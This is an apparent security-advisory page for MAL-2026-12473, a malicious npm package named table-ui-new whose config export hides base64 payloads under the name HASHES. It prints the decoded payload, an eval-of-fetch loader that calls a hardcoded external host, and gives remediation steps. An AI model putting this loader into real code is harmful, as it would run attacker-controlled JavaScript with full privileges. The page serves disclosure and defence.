MAL-2026-12473 Malicious code in table-ui-new (npm)

Malicious package Published
Package
table-ui-new
Registry
npm

What is MAL-2026-12473?

MAL-2026-12473 is a malicious package in table-ui-new, published on 5 Aug 2026.

Official description

[email protected] ships dist/config.js, exposed via the package.json ./config subpath export, which exports a module-level array named HASHES containing four base64-encoded strings. Each string decodes to an IIFE of the form (async () => eval(await fetch('https://everydaynodechecker-39147n.vercel.app/api/key?mem=root[0-3]').then(r => r.text())))(); — an unconditional fetch of remote text from a hardcoded external Vercel host followed by eval() of the response. The misleading variable name HASHES disguises executable payloads as inert hash data. The main entry (dist/index.js) is a React hooks module and does not itself invoke these blobs, but the payloads are staged behind a public package export, and any consumer that imports table-ui-new/config receives the array of ready-to-eval remote-fetch IIFEs. The destination host is unrelated to the package's stated purpose (a React table UI library) and returns attacker-controlled JavaScript that would execute in the consumer's Node process with full host privileges.

What should I do about MAL-2026-12473?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

Is MAL-2026-12473 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free